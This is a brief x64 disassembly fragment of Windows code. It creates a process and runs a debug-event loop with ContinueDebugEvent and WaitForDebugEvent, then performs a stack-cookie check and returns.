mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r8d, 0x10002
mov edx, dword [rbp + 0x10c]
mov ecx, dword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
lea rcx, [rbp - 0x50]
lea rdx, [0x14001dfa0]
call fcn.140011429
mov rcx, qword [rbp + 0x268]
xor rcx, rbp
call fcn.140011258
lea rsp, [rbp + 0x278]
pop rdi
pop rbp
ret